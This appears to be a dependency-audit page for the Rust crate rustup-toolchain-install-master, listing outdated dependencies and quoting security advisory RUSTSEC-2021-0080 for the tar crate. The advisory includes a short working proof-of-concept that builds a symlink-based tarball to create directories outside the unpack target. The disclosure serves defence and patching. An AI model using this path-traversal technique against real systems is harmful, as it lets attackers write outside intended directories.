This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate rustup-toolchain-install-master

Dependencies

(10 total, 4 outdated, 1 possibly insecure)

CrateRequiredLatestStatus
 ansi_term^0.110.12.1out of date
 failure^0.10.1.8up to date
 home^0.30.5.9out of date
 pbr^11.1.1up to date
 reqwest^0.90.12.3out of date
 structopt^0.20.3.26out of date
 tar ⚠️^0.40.4.40maybe insecure
 tee^0.10.1.0up to date
 tempfile^33.10.1up to date
 xz2^0.10.1.7up to date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!